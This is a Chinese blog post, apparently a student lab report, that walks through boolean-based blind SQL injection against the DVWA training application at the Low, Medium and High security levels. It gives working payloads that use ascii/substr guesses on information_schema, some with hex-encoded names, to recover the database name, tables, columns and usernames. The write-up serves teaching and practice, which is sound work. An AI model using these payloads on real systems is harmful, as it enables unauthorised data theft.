渗透测试实验_基于DVWA的SQL盲注 安全等级Low Medium High

最新推荐文章于 2024-05-09 14:44:42 发布
最新推荐文章于 2024-05-09 14:44:42 发布
阅读量5.6k 收藏 15
点赞数 3
分类专栏： 生产实习 文章标签： 系统安全 安全 web安全 sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47133613/article/details/123608531
版权

文章目录

SQL盲注

1. SQL盲注概述

以下内容引用自《SQL盲注(原理概述、分类)》

盲注：
即在SQL注入过程中，SQL语句执行查询后，查询数据不能回显到前端页面中，我们需要使用一些特殊的方式来判断或尝试，这个过程成为盲注

  1. 如果数据库运行返回结果时只反馈对错不会返回数据库中的信息 此时可以采用逻辑判断是否正确的盲注来获取信息。
  2. 盲注是不能通过直接显示的途径来获取数据库数据的方法。
  3. 在盲注中，攻击者根据其返回页面的不同来判断信息（可能是页面内容的不同，也可以是响应时间不同，一般分为三类）

2. 基于布尔值的盲注

原理：
盲注查询是不需要返回结果的，仅判断语句是否正常执行即可，所以其返回可以看到一个布尔值，正常显示为true，报错或者是其他不正常显示为False

3. 前期实验准备

  1. 首先启动phpStudy，打开火狐浏览器的代理服务，再使BurpSuite处于“off”的状态
    在这里插入图片描述在这里插入图片描述在这里插入图片描述

  2. 查看关于数据库“dvwa”的信息
    Dvwa库中有2个表，分别是guestbook和users
    在这里插入图片描述
    users表中共有8列数据
    在这里插入图片描述
    Guestbook表中共有3列数据
    在这里插入图片描述
    Users表中的用户user数据
    在这里插入图片描述
    ASCII表示控制字符
    在这里插入图片描述

4. Low等级

  • 安全级选择为Low，点击“SQL Injection （Blind）”
    在这里插入图片描述
  • 判断是否存在注入，注入是字符型还是数字型
    只执行了前面的1，并没有执行后面的1=2
    在这里插入图片描述
    由下两步实验可知，注入是字符型，要有单引号才可以被执行
    在这里插入图片描述在这里插入图片描述
  • 猜解数据库名长度
1' and length(database())=4 #

在这里插入图片描述在这里插入图片描述

  • 猜解数据库名
    数据库名是“dvwa”
1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),2,1))=118 #

在这里插入图片描述在这里插入图片描述

  • 猜解表数量
    数据库dvwa中有2个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #

在这里插入图片描述

  • 猜解第一个表名的长度
    第一个表名是guestbook，长度为9
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #

在这里插入图片描述
第二个表名是users，长度为5

1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 #

在这里插入图片描述

  • 猜解表名
    这里猜解第二个表名“users”
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=115 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),3))=101 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),4))=114 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),5))=115 #

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 猜解表中的列数
    Users表中共有8列数据
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #

在这里插入图片描述在这里插入图片描述
Guestbook表中共有3列数据

1' and (select count(column_name) from information_schema.columns where table_name='guestbook')=3 #

在这里插入图片描述

  • 猜解表中的列名
    Users表中第一个列是user_id
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117 #

在这里插入图片描述

  • 猜解表中的用户名
    Users表中第一个user是admin
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97 #

在这里插入图片描述
Users表中第二个user是Gordon

1' and (ascii(substr((select user from users limit 1,1),1,1)))=103 #

在这里插入图片描述

5. Medium等级

  • 安全级选择为Medium，点击“SQL Injection （Blind）”，使BurpSuite处于“on”的状态，将报文转发给Repeater
    在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 注入是数字型
    在这里插入图片描述
  • 猜解数据库名长度
1 and length(database())=4

在这里插入图片描述

  • 猜解数据库名
    数据库名是“dvwa”
1 and ascii(substr(database(),1,1))=100 #

在这里插入图片描述

  • 猜解表数量
    数据库dvwa中有2个表
1 and (select count(table_name) from information_schema.tables where table_schema=0x64767761)=2 #

在这里插入图片描述在这里插入图片描述

  • 猜解第一个表名的长度
    第一个表名是guestbook，长度为9
1 and length(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1),1))=9 #

在这里插入图片描述

  • 猜解表名
    这里猜解第二个表名“users”
1 and ascii(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1),1))=117 #

在这里插入图片描述

  • 猜解表中的列数
    Users表中共有8列数据
1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #

在这里插入图片描述

  • 猜解表中的列名
    Users表中第一个列是user_id
1 and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1))=117 #

在这里插入图片描述

  • 猜解表中的用户名
    Users表中第一个user是admin
1 and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
1 and (ascii(substr((select user from users limit 1,1),1,1)))=103 #

在这里插入图片描述在这里插入图片描述

6. High等级

  • 安全级选择为High，点击“SQL Injection （Blind）”，注意此时Burp Suite的状态是“off”
    在这里插入图片描述在这里插入图片描述

  • 注入是字符型
    在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 猜解数据库名长度

1' and length(database())=4 #

在这里插入图片描述

  • 猜解数据库名
    数据库名是“dvwa”
1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),2,1))=118 #

在这里插入图片描述在这里插入图片描述

  • 猜解表数量
    数据库dvwa中有2个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #

在这里插入图片描述

  • 猜解第一个表名的长度
    第一个表名是guestbook，长度为9
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #

在这里插入图片描述

第二个表名是users，长度为5

1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 #

在这里插入图片描述

  • 猜解表名
    这里猜解第二个表名“users”
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117 #

在这里插入图片描述

  • 猜解表中的列数
    Users表中共有8列数据
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #

在这里插入图片描述

  • 猜解表中的列名
    Users表中第一个列是user_id
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=117 #

在这里插入图片描述

  • 猜解表中的用户名
    Users表中第一个user是admin
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97 #

在这里插入图片描述

Outlook(^_^)
关注
  • 3
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
DVWA 之SQL注入LOW与Medium
ANDTM的博客
04-10 780
这里我们重点看前几行代码，大概意思就是当我们呈递的东西不为空是，就会把我们呈递的东西赋值给id（代码中蓝色的），此时右边的id（代码中红色的，即加引号的）就是我们输入的东西，没有任何的过滤机制。而在数据库执行时，如select email from member where id=$id，其中 $id 为 我们输入的值 ，如果 输入 1 or 1=1 ，则变成select email from member where id=1 or 1=1 ，SQL注入大概就是这个原理。
网络安全-靶机dvwa之sql注入Low到High详解（含代码分析）_dvwa sql注入低中高代码分析(1)
2401_84253132的博客
04-29 817
这样的话估计不能使用Error注入。结论：字段为2。
网络安全-靶机dvwa之sql注入Low到High详解（含代码分析）_dvwa sql注入低中高代码分析(5)
最新发布
2401_84264630的博客
05-09 345
这样的话估计不能使用Error注入。结论：字段为2。
DVWA-sql注入漏洞复现
qq_68238790的博客
12-04 182
SQL注入漏洞是Web层面最高位的漏洞之一。所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的，这类表单特别容易受到SQL注入式攻击。当应用程序使用输入内容来构造动态sql语句以访问数据库时，会发生sql注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生sql注入。
DVWA-WEB漏洞系列之SQL注入
woo233的博客
08-09 3312
用户输入数据为 1’ and 1=1#，这时SQL语句发生变化，在原有查询完成后会判断 1=1，如果判断正确则才会有输出[#作用是注释（移除）后续SQL语句]在用户输入中依次增加order by后面的数据，当在输入为 1’ order by 3#时网页出现报错，证明该数据库有2列/字段。攻击者在HTTP请求中注入恶意的SQL代码，服务器使用参数构建数据库SQL命令时，恶意SQL被一起构造，并在数据库中执行。防御SQL注入：使用PDO，配合正确的过滤和sql语句就可避免SQL注入漏洞的产生。...
DVWA-SQL盲注脚本（全）
10-04
DVWA SQL盲注，Low，Medium，High 三个级别的bool盲注脚本，比较完整，配套解释 ： https://blog.csdn.net/csdn_Pade/article/details/82886765
网络渗透测试平台_DVWA_201807
07-04
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
渗透测试初学者资源 DVWA压缩包
12-23
适合win7及以上版本（phpstudy2016及以上）
渗透测试环境部署DVWA
10-29
部署渗透测试环境，网络安全测试环境部署
DVWA-DVWA渗透测试平台文件
03-07
DVWA全称为Damn Vulnerable Web Application，意为存在糟糕漏洞的web应用。它是一个基于PHP/MySQL开发的存在糟糕漏洞的web应用，旨在为... DVWA现在已包含在流行的渗透测试Linux发行版中，例如Samurai的Web测试框架等。
DVWA-SQL盲注 medium
IWANnaaa的博客
04-03 392
DVWA-MASTER SQL盲注medium
网络渗透测试实验3：SQL注入（DVWA+SQLmap+Mysql注入实战）
zzzfff__的博客
11-21 1684
实验环境搭建。启动Metasploitable2虚拟机。1.输入账号密码【msfadmin】，输入【ip a】查询ip2.打开浏览器，输入该ip，进入DVWA输入账号密码：admin，password。账号密码使用nmap穷举，见我的另一篇博客3.注入点发现。首先肯定是要判断是否有注入漏洞。在输入框输入1，返回ID: 1返回正常；
DVWA低级别下的SQL盲注
qq_23667585的博客
11-04 989
通过二进制逻辑获取DVWA低级别下SQL盲注的用户名
DVWA——SQL盲注（全等级）
@一只躺平的猪@的博客
07-13 5432
SQL盲注与一般注入的区别在于：一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知。一般有两种方式：布尔型和时间型。还有一种是报错注入，本章主要介绍布尔盲注。布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行时间型则是根据页面加载时间是否变化来判断的。SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。具体来说，它是利用现有应用程序，将（
DVWA漏洞平台学习之Medium级别
李熠专用博客_白帽子一枚，人称低危终结者
12-01 453
在Medium级别，DVWA平台对每个漏洞都加入了一定程度的WAF，它不像LOW级别那样，可以轻松的利用每个漏洞。在Medium级别下，我们需要想办法绕过WAF。 我们首先改变DVWA Security为Medium级别，然后开始对每个漏洞进行利用。 0x00 Brute Force-暴力破解 查看源码： 可以拿到，它登录失败后，增加2秒的睡眠时间，我们依然可以爆破，只是增加了爆破时间而已。 0x01 Command Injection-命令注入 0x02 CSRF-客户端请求伪造 0x03 File I
SQL注入（Medium级别 和high）
weixin_64066158的博客
04-26 967
和前天的low级别注入一样，我们可以先打开源码进行理解和分析 可以看出加入了特殊函数来过滤特殊字符，且变量的单引号不见了，可以分析出有可能为数字型注入； 打开dvwa，可以看到无法输入sql语句进行注入；这时我们要用到Burp suite进行拦截包和sql注入；从而得到我们想要的数据， 此时打开burp suite ，进行拦截并且send to repeater，用repeater进行sql注入和运行 ； 打开repeater 可以看出运行界面和运行界面的源代码（源代码在raw中，我
DVWA中上传漏洞high级别的代码分析（超详细）
qq_36896220的博客
07-04 3058
首先贴出代码： <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FIL...
渗透测试之DVWA的Medium级别的SQL注入
追风筝的孩子
08-14 6273
Medium SQL Injection Source是通过一个下拉表的方式提交数据的。选择数据后提交，发现URL不是GET注入，是把提交的数据存放到post数据中 先把源代码放出来 &lt;?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysql_real_e...
dvwa靶机sql注入
08-04
根据引用[1]和引用[2]中提到的内容，DVWA靶机中的SQL注入分为不同的安全级别，包括Low、Medium、High和Blind注入。 在Low级别的SQL注入中，攻击者可以通过在输入框中输入特定的SQL语句来绕过应用程序的验证，从而...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值